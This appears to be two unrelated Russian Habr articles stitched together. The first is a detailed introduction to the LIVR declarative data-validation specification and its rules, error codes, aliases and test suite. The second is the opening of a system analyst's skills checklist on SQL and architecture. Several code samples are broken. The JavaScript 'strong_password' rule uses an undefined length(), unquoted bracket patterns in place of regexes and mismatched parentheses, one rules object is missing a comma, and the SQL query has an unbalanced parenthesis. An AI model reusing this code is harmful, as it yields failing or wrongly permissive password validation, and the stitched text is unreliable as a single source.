Каждый программист неоднократно сталкивался с необходимостью проверки пользовательского ввода. Занимаясь веб-разработкой уже более 10 лет, я перепробовал массу библиотек, но так и не нашел той единственной, которая решала бы поставленные мною задачи.
**Основные проблемы, которые встречаются в библиотеках валидации данных**
**Проблема №1.** Многие валидаторы проверяют только те данные, для которых описаны правила проверки. Для меня важно, чтобы любой пользовательский ввод, который явно не разрешен, был проигнорирован. То есть, валидатор должен вырезать все данные для которых не описаны правила валидации. Это просто фундаментально требование.
**Проблема №2.** Процедурное описание правил валидации. Я не хочу каждый раз думать про алгоритм валидации, я просто хочу описать декларативно, как должны выглядеть правильные данные. По сути, я хочу задать схему данных (почему не «JSON Schema» — в конце поста).
**Проблема №3.** Описание правил валидации в виде кода. Казалось бы, это не так страшно, но это сразу сводит на нет все попытки сериализации правил валидации и использования одних и тех же правил валидации на бекенде и фронтенде.
**Проблема №4**. Валидация останавливается на первом же поле с ошибкой. Такой подход не дает возможности подсветить сразу все ошибочные/обязательные поля в форме.
**Проблема №5.** Нестандартизированные сообщения об ошибках. Например, «Field name is required». Такую ошибку я не могу показать пользователю по ряду причин:
* поле в интерфейсе может называться совсем по другому
* интерфейс может быть не на английском
* нужно различать тип ошибки. Например, ошибки на пустое значение показывать специальным образом
То есть, нужно возвращать не сообщение об ошибках, а стандартизированные коды ошибок.
**Проблема №6.** Числовые коды ошибок. Это просто неудобно в использовании. Я хочу, чтобы коды ошибок были интуитивно понятны. Согласитесь, что код ошибки «REQUIRED» понятней, чем код «27». Логика аналогична работе с классами исключений.
**Проблема №7.** Нет возможности проверять иерархические структуры данных. Сегодня, во времена разных JSON API, без этого просто не обойтись. Кроме самой валидации иерархических данных, нужно предусмотреть и возврат кодов ошибок для каждого поля.
**Проблема №8.** Ограниченный набор правил. Стандартных правил всегда не хватает. Валидатор должен быть расширяемый и позволять добавлять в него правила любой сложности.
**Проблема №9.** Слишком широкая сфера ответственности. Валидатор не должен генерировать формы, не должен генерировать код, не должен делать ничего, кроме валидации.
**Проблема №10.** Невозможность провести дополнительную обработку данных. Практически всегда, где есть валидация, есть необходимость в какой-то дополнительной (часто предварительной) обработке данных: вырезать запрещенные символы, привести в нижний регистр, удалить лишние пробелы. Особенно актуально — это удаление пробелов в начале и в конце строки. В 99% случаев они там не нужны. *Я знаю, что я до этого говорил, что валидатор не должен делать ничего кроме валидации.*
3 года назад, было решено написать валидатор, который не будет иметь всех вышеописанных проблем. Так появился LIVR (Language Independent Validation Rules). Есть реализации на Perl, PHP, JavaScript, Python (мы на python не пишем — фидбек по ней дать не могу). Валидатор используется в продакшене уже несколько лет практически в каждом проекте компании. Валидатор работает, как на сервере, так и на клиенте. Поиграться с валидатором можно тут — [webbylab.github.io/livr-playground](http://webbylab.github.io/livr-playground).
Ключевой идеей было то, что ядро валидатора должно быть минимальным, а вся логика валидации находится в правилах (вернее в их реализации). То есть, для валидатора нет разницы между правилами «required» (проверяет наличие значения), «max\_length» (проверяет максимальную длину), «to\_lc» (приводит данные в нижний регистра), «list\_of\_objects» (помогает описать правила для поля, которое содержит массив объектов).
Другими словами, валидатор ничего не знает ничего:
* о кодах ошибок
* о том, что он умеет валидировать иерархические объекты
* о том, что он умеет преобразовывать/чистить данные
* о многом другом
Все это ответственность правил валидации.
**Спецификация LIVR**
Поскольку задача стояла сделать валидатор независимым от языка программирования, этакий себе mustache/handlebars, но только в мире валидации данных, то начали мы с написания спецификации.
Цели спецификации:
1. Стандартизировать формат описания данных.
2. Описать минимальный набор правил валидации, которые должны поддерживаться каждой реализацией.
3. Стандартизировать коды ошибок.
4. Быть единой базовой документацией для всех реализаций.
5. Иметь набор тестовых данных, которые позволяет проверить реализацию на соответствие спецификации
Спецификация доступна по адресу [livr-spec.org](http://livr-spec.org)
Основной идеей было то, что описание правил валидации должно выглядеть, как схема данных и максимально быть похожими на данные, только вместо значений правила.
Пример описания правил валидации для формы авторизации ([демо](http://webbylab.github.io/livr-playground/#%7B%22rules%22%3A%22%7B%5Cn%20%20%20%20email%3A%20%5B'required'%2C%20'email'%5D%2C%5Cn%20%20%20%20password%3A%20'required'%5Cn%7D%22%2C%22data%22%3A%22%7B%5Cn%20%20%20%20email%3A%20'user%40mail.com'%2C%5Cn%20%20%20%20password%3A%20'qwerty123'%5Cn%7D%22%7D)):
```
{
email: ['required', 'email'],
password: 'required'
}
```
Пример правил валидации для регистрационной формы ([демо](http://webbylab.github.io/livr-playground/#%7B%22rules%22%3A%22%7B%5Cn%20%20%20%20name%3A%20'required'%2C%5Cn%20%20%20%20email%3A%20%5B'required'%2C%20'email'%5D%2C%5Cn%20%20%20%20gender%3A%20%7B%20one_of%3A%20%5B'male'%2C%20'female'%5D%20%7D%2C%5Cn%20%20%20%20phone%3A%20%7Bmax_length%3A%2010%7D%2C%5Cn%20%20%20%20password%3A%20%5B'required'%2C%20%7Bmin_length%3A%2010%7D%20%5D%2C%5Cn%20%20%20%20password2%3A%20%7B%20equal_to_field%3A%20'password'%20%7D%5Cn%7D%22%2C%22data%22%3A%22%7B%5Cn%20%20%20%20name%3A%20'John'%2C%5Cn%20%20%20%20email%3A%20'john%40mail.com'%2C%5Cn%20%20%20%20gender%3A%20'male'%2C%5Cn%20%20%20%20phone%3A%20'%2B22221212'%2C%5Cn%20%20%20%20password%3A%20'mypassword1'%2C%5Cn%20%20%20%20password2%3A%20'mypassword1'%5Cn%7D%22%7D)):
```
{
name: 'required',
email: ['required', 'email'],
gender: { one_of: ['male', 'female'] },
phone: {max_length: 10},
password: ['required', {min_length: 10} ]
password2: { equal_to_field: 'password' }
}
```
Пример валидации вложенного объекта ([демо](http://webbylab.github.io/livr-playground/#%7B%22rules%22%3A%22%7B%5Cn%20%20%20%20name%3A%20'required'%2C%5Cn%20%20%20%20email%3A%20%5B'required'%2C%20'email'%5D%2C%5Cn%20%20%20%20gender%3A%20%7B%20one_of%3A%20%5B'male'%2C%20'female'%5D%20%7D%2C%5Cn%20%20%20%20phone%3A%20%7Bmax_length%3A%2010%7D%2C%5Cn%20%20%20%20password%3A%20%5B'required'%2C%20%7Bmin_length%3A%2010%7D%20%5D%2C%5Cn%20%20%20%20password2%3A%20%7B%20equal_to_field%3A%20'password'%20%7D%5Cn%7D%22%2C%22data%22%3A%22%7B%5Cn%20%20%20%20name%3A%20'John'%2C%5Cn%20%20%20%20email%3A%20'john%40mail.com'%2C%5Cn%20%20%20%20gender%3A%20'male'%2C%5Cn%20%20%20%20phone%3A%20'%2B22221212'%2C%5Cn%20%20%20%20password%3A%20'mypassword1'%2C%5Cn%20%20%20%20password2%3A%20'mypassword1'%5Cn%7D%22%7D)):
```
{
name: 'required',
phone: {max_length: 10},
address: { 'nested_object': {
city: 'required',
zip: ['required', 'positive_integer']
}}
}
```
**Правила валидации**
Как описываются правила валиции? Каждое правило состоит из имени и аргументов (практически, как вызов функции) и в общем случае описывается следующим образом {«RULE\_NAME»: ARRAY\_OF\_ARGUMENTS}. Для каждого поля описывается массив правил, которые применяются в порядке следования.
Например,
```
{
"login": [ { length_between: [ 5, 10 ] } ]
}
```
То есть, у нас есть поле «login» и правило «length\_between», которое имеет 2 аргумента ( «5» и «10» ). Это наиболее полная форма, но разрешены следующие упрощения
* Если правило к полю одно, то массив не обязателен
* Если у правила один аргумент, то можно передавать только его (не обрамляя в массив)
* Если у правила не аргументов, то можно записать просто название правила.
Все 3 записи идентичны:
```
"login": [ { required: [] } ]
```
```
"login": [ "required" ]
```
```
"login": "required"
```
Более детально расписано в спецификации в разделе «How it works».
**Поддерживаемые правила**
Все правила можно разделить на 3 глобальных группы:
* Правила, которые валидируют данные (числа, строки и тд). Например, «max\_length».
* Правила, которые позволяют составлять более сложные правила с более простых. Например, «nested\_object».
* Правила, которые преобразовывают данные. Например, «to\_lc»
но сам валидатор не делает различия между ними, для него они все равноправны.
Вот общий список правил, которые должны поддерживаться каждой реализаций валидатора:
Базовые правила
* required — поле обязательно и значение должно быть не пустым
* not\_empty — поле не обязательно, но если оно есть, то не может быть пустым
* not\_empty\_list — значение должно содержать не пустой массив
Правила для проверки строк
* one\_of
* max\_length
* min\_length
* length\_between
* length\_equal
* like
Правила для проверки чисел
* integer
* positive\_integer
* decimal
* positive\_decimal
* max\_number
* min\_number
* number\_between
Правила для специальных форматов
* email
* url
* iso\_date
* equal\_to\_field
Правила для описания более сложных правил (метаправила)
* nested\_object — описывает правила для вложенного объекта
* list\_of — описывает правила, которым должен соответствовать каждый элемент списка
* list\_of\_objects — значение должно быть массивом объектов нужном формате
* list\_of\_different\_objects — используйте, когда нужно проверить массив объектов разных типов.
Правила для преобразования данных (названия начинаются с глагола)
* trim — убирает пробелы в начале в конце
* to\_lc — приводит к нижнему регистру
* to\_uc — приводит к верхнему регистру
* remove — удаляет указанные символы
* leave\_only — оставляет только указанные символы
**Метаправила**
Пример и коды ошибок для каждого правила можно найти в LIVR-спецификации. Немного детальней остановимся лишь на метаправилах. Метаправила — это правила, которые позволяет скомбинировать простые правила в более сложные для валидации сложных иерархических структур данных. Важно понимать, что валидатор не делает различия между простыми правилами и метаправилами. Метаправила ничем не отличаются от того же “required” (да, я повторяюсь).
nested\_object
Позволяет описывать правила валидации для вложенных объектов. Этим правилом вы будете пользоваться постоянно.
Код ошибки зависит от вложенных правил. Если вложенный объект не является хешом (словарем), то поле будет содержать ошибку: “FORMAT\_ERROR”.
Пример использования ([демо](http://webbylab.github.io/livr-playground/#%7B%22rules%22%3A%22%7B%5Cn%20%20%20%20address%3A%20%7B%20'nested_object'%3A%20%7B%5Cn%20%20%20%20%20%20%20%20city%3A%20'required'%2C%5Cn%20%20%20%20%20%20%20%20zip%3A%20%5B'required'%2C%20'positive_integer'%5D%5Cn%20%20%20%20%7D%7D%5Cn%7D%22%2C%22data%22%3A%22%7B%5Cn%20%20%20%20address%3A%20%7B%5Cn%20%20%20%20%20%20%20%20city%3A%20'Kyiv'%2C%5Cn%20%20%20%20%20%20%20%20zip%3A%201232%5Cn%20%20%20%20%7D%5Cn%7D%22%7D)):
```
address: { 'nested_object': {
city: 'required',
zip: ['required', 'positive_integer']
}}
```
list\_of
Позволяет описать правила валидации для списка значений. Каждое правило будет применяться для каждого элемента списка.
Код ошибки зависит от вложенных правил.
Пример использования ([демо](http://webbylab.github.io/livr-playground/#%7B%22rules%22%3A%22%7B%20%5Cn%20%20%20product_ids%3A%20%7B%20'list_of'%3A%20%5B%20'required'%2C%20%20'positive_integer'%5D%7D%5Cn%7D%22%2C%22data%22%3A%22%7B%5Cn%20%20%20%20product_ids%3A%20%5B1%2C2%2C3%2C4%5D%5Cn%7D%22%7D)):
```
{ product_ids: { 'list_of': [ 'required', 'positive_integer'] }}
```
list\_of\_objects
Позволяет описать правила валидации для массива хешей(словарей). Похоже на «nested\_object», но ожидает массив объектов. Правила применяются для каждого элемента в массиве.
Код ошибки зависит от вложенных правил. В случае если значение не является массивом, для поля будет возвращен код “FORMAT\_ERROR”.
Пример использования ([демо](http://webbylab.github.io/livr-playground/#%7B%22rules%22%3A%22%7B%5Cn%20%20%20%20products%3A%20%5B'required'%2C%20%7B%20'list_of_objects'%3A%20%7B%5Cn%20%20%20%20%20%20%20%20product_id%3A%20%5B'required'%2C'positive_integer'%5D%2C%5Cn%20%20%20%20%20%20%20%20quantity%3A%20%5B'required'%2C%20'positive_integer'%5D%5Cn%20%20%20%20%7D%7D%5D%5Cn%7D%22%2C%22data%22%3A%22%7B%5Cn%20%20%20%20products%3A%20%5B%7B%5Cn%20%20%20%20%20%20%20%20product_id%3A%203455%2C%5Cn%20%20%20%20%20%20%20%20quantity%3A2%5Cn%20%20%20%20%7D%2C%7B%5Cn%20%20%20%20%20%20%20%20product_id%3A%203456%2C%5Cn%20%20%20%20%20%20%20%20quantity%3A3%5Cn%20%20%20%20%7D%5D%5Cn%7D%22%7D)):
```
products: ['required', { 'list_of_objects': {
product_id: ['required','positive_integer'],
quantity: ['required', 'positive_integer']
}}]
```
list\_of\_different\_objects
Аналогичен «list\_of\_objects», но бывает, что массив, который нам приходит, содержит объекты разного типа. Тип объекта мы можем определить по какому-то полю, например, «type». «list\_of\_different\_objects» позволяет описать правила для списка объектов разного вида.
Код ошибки зависит от вложенных правил валидации. Если вложенных объект не является хешом, то поле будет содержать ошибку “FORMAT\_ERROR”.
Пример использования ([демо](http://webbylab.github.io/livr-playground/#%7B%22rules%22%3A%22%7B%5Cn%20%20%20%20products%3A%20%5B'required'%2C%20%7B%20'list_of_different_objects'%3A%20%5B%5Cn%20%20%20%20%20%20%20%20product_type%2C%20%7B%5Cn%20%20%20%20%20%20%20%20%20%20%20%20material%3A%20%7B%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20product_type%3A%20'required'%2C%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20material_id%3A%20%5B'required'%2C%20'positive_integer'%5D%2C%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20quantity%3A%20%5B'required'%2C%20%7B'min_number'%3A%201%7D%20%5D%2C%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20warehouse_id%3A%20'positive_integer'%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%5Cn%20%20%20%20%20%20%20%20%20%20%20%20service%3A%20%7B%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20product_type%3A%20'required'%2C%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name%3A%20%5B'required'%2C%20%7B'max_length'%3A%2020%7D%20%5D%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%7D%5Cn%20%20%20%20%20%20%20%20%7D%5Cn%20%20%20%20%5D%7D%5D%5Cn%7D%22%2C%22data%22%3A%22%7B%5Cn%20%20%20%20products%3A%20%5B%7B%5Cn%20%20%20%20%20%20%20%20product_type%3A%20'material'%2C%5Cn%20%20%20%20%20%20%20%20material_id%3A%20345%2C%5Cn%20%20%20%20%20%20%20%20quantity%3A%20%205%2C%5Cn%20%20%20%20%20%20%20%20warehouse_id%3A%2024%5Cn%20%20%20%20%7D%2C%7B%5Cn%20%20%20%20%20%20%20%20product_type%3A%20'service'%2C%5Cn%20%20%20%20%20%20%20%20name%3A%20'Clean%20filter'%5Cn%20%20%20%20%7D%5D%5Cn%7D%22%7D)):
```
{
products: ['required', { 'list_of_different_objects': [
product_type, {
material: {
product_type: 'required',
material_id: ['required', 'positive_integer'],
quantity: ['required', {'min_number': 1} ],
warehouse_id: 'positive_integer'
},
service: {
product_type: 'required',
name: ['required', {'max_length': 20} ]
}
}
]}]
}
```
В этом примере валидатор будут смотреть на “product\_type” в каждом хеше и, в завимости от значения этого поля, будет использовать соответствующие правила валидации.
**Формат ошибок**
Как уже было сказано, правила возвращают строковые коды ошибок, которые понятны разработчику, например, «REQUIRED», «WRONG\_EMAIL», «WRONG\_DATE» и тд. Теперь разработчик может понять, в чем ошибка, осталось удобно донести в каких полях она возникла. Для этого валидатор возвращает структуру аналогичную переданной ему на валидацию, но она содержит только поля в которых возникли ошибки и вместо исходных значений в полях строковые коды ошибок.
Например, есть правила:
```
{
name: 'required',
phone: {max_length: 10},
address: { 'nested_object': {
city: 'required',
zip: ['required', 'positive_integer']
}}
}
```
и данные для валидации:
```
{
phone: 12345678901,
address: {
city: 'NYC'
}
}
```
на выходе получим следующую ошибку
```
{
"name": "REQUIRED",
"phone": "TOO_LONG",
"address": {
"zip": "REQUIRED"
}
}
```
[демо валидации](http://webbylab.github.io/livr-playground/#%7B%22rules%22%3A%22%7B%5Cn%20%20%20%20name%3A%20'required'%2C%5Cn%20%20%20%20phone%3A%20%7Bmax_length%3A%2010%7D%2C%5Cn%20%20%20%20address%3A%20%7B%20'nested_object'%3A%20%7B%5Cn%20%20%20%20%20%20%20%20city%3A%20'required'%2C%5Cn%20%20%20%20%20%20%20%20zip%3A%20%5B'required'%2C%20'positive_integer'%5D%5Cn%20%20%20%20%7D%7D%5Cn%7D%22%2C%22data%22%3A%22%7B%5Cn%20%20%20%20phone%3A%2012345678901%2C%5Cn%20%20%20%20address%3A%20%7B%5Cn%20%20%20%20%20%20%20city%3A%20'Kiev'%20%5Cn%20%20%20%20%7D%5Cn%7D%22%7D)
**REST API и формат ошибок**
Возврат вменяемых ошибок всегда требует дополнительных усилий от разработчиков. И очень мало REST API, которые дают детальную информацию в ошибках. Часто это просто «Bad request» и все. Хочется, чтобы глядя на ошибку, к какому полю она относится и просто пути поля недостаточно, поскольку данные могут быть иерархическими и содержать массивы объектов… У нас в компании мы поступаем следующим образом — абсолютно для каждого запроса описываем правила валидации при помощи LIVR. В случае ошибки валидации, мы возвращаем объект ошибки клиенту. Объект ошибки содержит глобальный код ошибки и ошибку полученную от LIVR валидатора.
Например, вы передаете данные на сервер:
```
{
"email": "user_at_mail_com",
"age": 10,
"address": {
"country": "USQ"
}
}
```
и в ответ получаете ([демо валидации на livr playground](http://webbylab.github.io/livr-playground/#%7B%22rules%22%3A%22%7B%5Cn%20%20%20%20%20%20%20%20%5C%22email%5C%22%3A%20%5C%22email%5C%22%2C%5Cn%20%20%20%20%20%20%20%20%5C%22age%5C%22%3A%20%7Bmin_number%3A%2016%7D%2C%5Cn%20%20%20%20%20%20%20%20%5C%22fname%5C%22%3A%20%5C%22required%5C%22%2C%5Cn%20%20%20%20%20%20%20%20%5C%22lname%5C%22%3A%20%5C%22required%5C%22%2C%5Cn%20%20%20%20%20%20%20%20%5C%22address%5C%22%3A%20%20%7Bnested_object%3A%20%7B%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%5C%22country%5C%22%3A%20%7Bone_of%3A%20%5B'USA'%2C%20'GB'%5D%7D%2C%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%5C%22city%5C%22%3A%20%5C%22required%5C%22%2C%5Cn%20%20%20%20%20%20%20%20%20%20%20%20%5C%22zip%5C%22%3A%20%5C%22required%5C%22%5Cn%20%20%20%20%20%20%20%20%7D%7D%5Cn%20%20%20%20%7D%22%2C%22data%22%3A%22%7B%5Cn%20%20%20%20%5C%22email%5C%22%3A%20%5C%22user_at_mail_com%5C%22%2C%5Cn%20%20%20%20%5C%22age%5C%22%3A%2010%2C%5Cn%20%20%20%20%5C%22address%5C%22%3A%20%7B%5Cn%20%20%20%20%20%20%20%20%5C%22country%5C%22%3A%20%5C%22USQ%5C%22%5Cn%20%20%20%20%7D%5Cn%7D%22%7D)):
```
{"error": {
"code": "FORMAT_ERROR",
"fields": {
"email": "WRONG_EMAIL",
"age": "TOO_LOW",
"fname": "REQUIRED",
"lname": "REQUIRED",
"address": {
"country": "NOT_ALLOWED_VALUE",
"city": "REQUIRED",
"zip": "REQUIRED"
}
}
}}
```
Это значительно информативнее, чем какой-то «Bad request».
**Работа с псевдонимами и регистрация собственных правил**
Спецификация содержит только наиболее используемые правила, но у каждого проекта своя специфика и постоянно возникают ситуации, когда каких-то правил не хватает. В связи с этим, одним из ключевых требований к валидатору была возможность его расширения собственными правилами любого типа. Изначально каждая реализация имела свой механизм описания правил, но начиная со спецификации версии 0.4 мы ввели стандартный способ создания правил на базе других правил (создание псевдонимов), это покрывает 70% ситуаций. Рассмотрим оба варианта.
Создание псевдонима
Способ, каким регистрируется псевдоним зависит от реализации, но то как псевдоним описывается — регламентировано спецификацией. Такой подход, например, позволяет сериализировать описания псевдонимов и использовать их с разными реализациями (например, на Perl-бекенде и JavaScript-фронтенде)
```
// Регистрация псевдонима "valid_address"
validator. registerAliasedRule({
name: 'valid_address',
rules: { nested_object: {
country: 'required',
city: 'required',
zip: 'positive_integer'
}}
});
// Регистрация псевдонима "adult_age"
validator.registerAliasedRule( {
name: 'adult_age',
rules: [ 'positive_integer', { min_number: 18 } ]
});
// Теперь псевдонимы доступны, как обычные правила.
{
name: 'required',
age: ['required', 'adult_age' ],
address: ['required', 'valid_address']
}
```
Более того, можно устанавливать свои коды ошибок для правил.
Например,
```
validator.registerAliasedRule({
name: 'valid_address',
rules: { nested_object: {
country: 'required',
city: 'required',
zip: 'positive_integer'
}},
error: 'WRONG_ADDRESS'
});
```
и в случае ошибки при валидации адреса, мы получим следующее:
```
{
address: 'WRONG_ADDRESS'
}
```
Регистрация полноценного правила на примере [JavaScript реализации](https://www.npmjs.com/package/livr)
Для валидации используются функции обратного вызова, которые осуществляют проверку значений. Попробуем описать новое правило под названием “strong\_password”. Будем проверять, что значение больше 8 символов и содержит цифры и буквы в верхнем и нижнем регистрах.
```
var LIVR = require('livr');
var rules = {password: ['required', 'strong_password']};
var validator = new LIVR.Validator(rules);
validator.registerRules({
strong_password: function() {
return function(val) {
// пропускаем пустые значение. Для проверки на обязательность у нас и так есть правило "required"
if (val === undefined || val === null || val === '' ) return;
if ( length(val) < 8 || !val.match([0-9]) || !val.match([a-z] || !val.match([A-Z] ) ) {
return 'WEAK_PASSWORD';
}
return;
}
}
});
```
Теперь добавим возможность задавать минимальное количество символов в пароле и зарегистрируем это правило как глобальное (доступное во всех экземплярах валидатора).
```
var LIVR = require('livr');
var rules = {password: ['required', {'strong_password': 10}]};
var validator = new LIVR.Validator(rules);
var strongPassword = function(minLength) {
if (!minLength) throw "[minLength] parameter required";
return function(val) {
// пропускаем пустые значение. Для проверки на обязательность у нас и так есть правило "required"
if (val === undefined || val === null || val === '' ) return;
if ( length(val) < minLength || !val.match([0-9]) || !val.match([a-z] || !val.match([A-Z] ) ) {
return 'WEAK_PASSWORD';
}
return;
}
};
LIVR.Validator.registerDefaultRules({ strong_password: strongPassword });
```
Вот так, достаточно просто, происходит регистрация новых правил. Если необходимо описать более сложные правила, то лучшим вариантом будет посмотреть список стандартных правил, реализованных в валидаторе:
* [Common](https://github.com/koorchik/js-validator-livr/blob/master/lib/LIVR/Rules/Common.js)
* [Numeric](https://github.com/koorchik/js-validator-livr/blob/master/lib/LIVR/Rules/Numeric.js)
* [String](https://github.com/koorchik/js-validator-livr/blob/master/lib/LIVR/Rules/String.js)
* [Special](https://github.com/koorchik/js-validator-livr/blob/master/lib/LIVR/Rules/Special.js)
* [Helpers](https://github.com/koorchik/js-validator-livr/blob/master/lib/LIVR/Rules/Helpers.js)
* [Filters](https://github.com/koorchik/js-validator-livr/blob/master/lib/LIVR/Rules/Filters.js)
Есть возможность регистрации правил, которые будут не только валидировать значение, но и изменять его. Например, приводить к верхнему регистру или удалять лишние пробелы.
**Своя реализация по спецификации**
Если есть желание сделать свою реализацию валидатора, то для облегчения задачи был создан набор [тест-кейсов](https://github.com/koorchik/LIVR/tree/master/test_suite) . Если ваша реализация проходит все тесты, то ее можно считать корректной. Комплект тестов состоит из 4-х групп:
* «positive» — позитивные тесты для основных правил
* «negative» — негативные тесты для основных правил
* «aliases\_positive» — позитивные тесты для псевдонимов правил
* «aliases\_negative» — негативные тесты для псевдонимов правил
По сути, каждый тест содержит несколько файлов:
* rules.json — описание правил валидации
* input.json — структура, которая передается валидатору на проверку
* output.json — очищенная структура, которая получается после валидации
Каждый негативный тест вместо «output.json» содержит «errors.json» с описанием ошибки, которая должна возникнуть в результате валидации. В тестах псевдонимов есть файл «aliases.json» с псевдонимами, которые необходимо предварительно зарегистрировать.
**Почему не JSON Schema?**
Часто задаваемый вопрос. Если коротко, то причин несколько:
* Сложный формат для правил. Хочется, чтобы структура с правилами была максимально близка к структуре с данными. Попробуйте описать [этот пример](http://webbylab.github.io/livr-playground/#%7B%22rules%22%3A%22%7B%5Cn%20%20%20%20order_id%3A%20%5B'required'%2C%20'positive_integer'%5D%2C%5Cn%20%20%20%20product_ids%3A%20%5B%7B%5Cn%20%20%20%20%20%20%20'list_of'%3A%20%5B%20'required'%2C%20%20'positive_integer'%20%5D%5Cn%20%20%20%20%7D%5D%5Cn%7D%22%2C%22data%22%3A%22%7B%5Cn%20%20%20%20order_id%3A%2010455%2C%5Cn%20%20%20%20product_ids%3A%20%5B3455%2C%203456%2C%203566%5D%5Cn%7D%22%7D) на JSON Schema
* Формат ошибок никак не специфицирован и разные реализации возвращают ошибки в разном формате.
* Нет преобразования данных, например «to\_lc».
JSON Schema содержит и интересные вещи, как-то возможность задать максимальное количество элементов в списке, но в LIVR это реализуется просто добавлением еще одного правила.
**Ссылки по LIVR**
* [Спецификация LIVR (последняя версия — 0.4)](http://livr-spec.org)
* [Комплект тестов](https://github.com/koorchik/LIVR/tree/master/test_suite)
* [LIVR Playground](http://webbylab.github.io/livr-playground/)
* [JavaScript реализация](https://www.npmjs.com/package/livr)
* [Perl реализация](https://metacpan.org/pod/Validator::LIVR)
* [PHP реализация](https://github.com/WebbyLab/php-validator-livr)
* [Python реализация](https://pypi.python.org/pypi/LIVR)
* [Статья про LIVR и Perl реализацию в журнале PragmaticPerl](http://pragmaticperl.com/issues/05/pragmaticperl-05-livr-language-independent-validation-rules-%D0%BD%D0%B5%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D1%8B%D0%B5-%D0%BE%D1%82-%D1%8F%D0%B7%D1%8B%D0%BA%D0%B0-%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%B0-%D0%B2%D0%B0%D0%BB%D0%B8%D0%B4%D0%B0%D1%86%D0%B8%D0%B8.html)
* [Видео доклада про LIVR на конференции OSDN-UA 2013](https://vimeo.com/76611833)
**UPD:**
Вышел LIVR 2.0 (<http://livr-spec.org/>). С новых фич:
* Согласованный подход к работе с типами.
* «Base rules» переименовали в «Common rules».
* «Filter rules» переименовали в «Modifiers». Поскольку они ничего не валидируют, а только модифицируют данные.
* «Helper rules» переименовали to «Metarules»
* Добавлено правило «any\_object», проверяет, что это объект
* Добавлено правило строка — «string», просто строка любого типа
* Добавлено правило «eq» — проверяет на строковое равенство
* Добавлено метаправило «variable\_object». Динамически определяет, какую валидацию использвоать в зависимосте от полей в объекте.
* Добавлено метаправило «or». Позволяет применять правила поочередно до первого совпадения.
* Добавлен модификтор «default» для установки значений по-умолчинаю, если пользователь ничего не передал.
* Значительно расширен комплект тестов.
JavaScript реализация уже поддерживает все новые функции, остальные реализации в процессе обновления. | https://habr.com/ru/post/246521/ | null | ru | null |
# Мой краткий чек-лист по скилам системного аналитика
**Дисклеймер**. Это не описание вакансии системного аналитика в Альфа-Банке. Это мой **личный чек-лист**, который я составлял для себя и решил им поделиться. Скилами из списка я бы хотел «одновременно хорошо и уверенно владеть».
**Об авторе:**
##### Валид Панин
Главный системный аналитик в Альфа-Банке
Чек-лист поделил на две части: харды и софт-скилы. В первой части поговорим про инструменты и чёткие знания, а во второй — про «неосязаемые», но без которых тоже будет трудновато.
Харды
-----
Здесь я выделил знания SQL-запросов, архитектуры, интеграций, диаграмм и схем. Всё, что напишу дальше, я сам использую, например, чтобы писать ТЗ, документацию на API или в гайдах для пользователей.
### SQL
Язык запросов для управления, чтения и изменения данных в БД.
Нужен как системному, так и бизнесовому аналитику. БД используются в любом проекте, и умение читать из неё информацию понадобится как и для анализа данных, так и для понимания как должна быть организована информация. А также для решения возникающих проблем и ошибок.
**Уровни понимания:**
* Джун: простые SELECT'ы, джойны, агрегирующие функции, изменение данных.
* Мидл: временные таблицы, процедуры, вьюхи, индексирование.
* Сеньор: нормализация данных, ERD.
Мы используем SQL во всех проектах и он нужен аналитику любого уровня. Например, для джуна достаточно уметь работать с такими запросами.
```
SELECT to_char(dt, 'YYYY-MM-DD')
FROM
(SELECT
ROW_NUMBER() OVER (ORDER BY DT ASC) as rownumber,
dt
FROM CALENDAR
WHERE dt > sysdate and holiday != 1)
WHERE rownumber = 3)
```
Это простой запрос с одного нашего проекта, но интересен тем, что в нём есть подзапрос. Для одной из задач было необходимо, чтобы запрос выбирал дату третьего рабочего дня, потому что многие банковские операции зависят от рабочих дней и выходных. Как раз здесь подзапрос выбирает третий по счету день из будних в таблице.
**Как научиться?**
* Изучить [Database and SQL Roadmap](https://www.databasestar.com/sql-roadmap/). Это один из лучших ресурсов по SQL с подробным и понятным объяснением.
* Потренироваться на старом, но проверенном сайте [SQL-ex](https://www.sql-ex.ru/?Lang=0).
### Архитектура ПО
Существует несколько видов шаблонов архитектур. Аналитику любого уровня необходимо понимать, какие виды существуют, как они соотносятся между собой, знать о плюсах и минусах использования каждой. Например, чем отличается многослойная архитектура от многоуровневой, а когда вместо хайповой микросервисной подойдёт SOA.
**Уровни понимания:**
* Джун: знает в теории о разных видах архитектур, умеет их отличать.
* Мидл: знает плюсы и минусы разных типов, понимает сложность реализации.
* Сеньор: задачи граничат с задачами системного архитектора.
Навык необходим в разной степени каждому системному аналитику. В работе часто придётся встречаться со схемами архитектуры, разбираться с интеграциями, что с чем взаимодействует, где «ручки-ножки» торчат. Разбираться нужно не только, чтобы думать как разрабатывать новые сервисы, но и, например, чтобы просто обновить документацию. Как раз знание архитектуры ПО поможет быстрее погружаться в проект и при разработке новых задач позволит избежать ошибок в технической реализации.
Например, мне приходится часто встречаться с таким схемами как на скрине, где показана часть нашей архитектуры. Опытный аналитик, наверное, сразу догадался, что у нас распределенный монолит (сильно не ругайте:)).
**Как научиться?** Для начала почитать обзорные статьи, например, про [Многослойную архитектуру](https://medium.com/nuances-of-programming/4-%D1%82%D0%B8%D0%BF%D0%B0-%D0%B0%D1%80%D1%85%D0%B8%D1%82%D0%B5%D0%BA%D1%82%D1%83%D1%80%D1%8B-%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%BD%D0%BE%D0%B3%D0%BE-%D0%BE%D0%B1%D0%B5%D1%81%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D1%8F-917133174724) и другие виды, а также подробные разборы, например, [Сервис-ориентированной архитектуры (SOA)](https://herbertograca.com/2017/11/09/service-oriented-architecture-soa/).
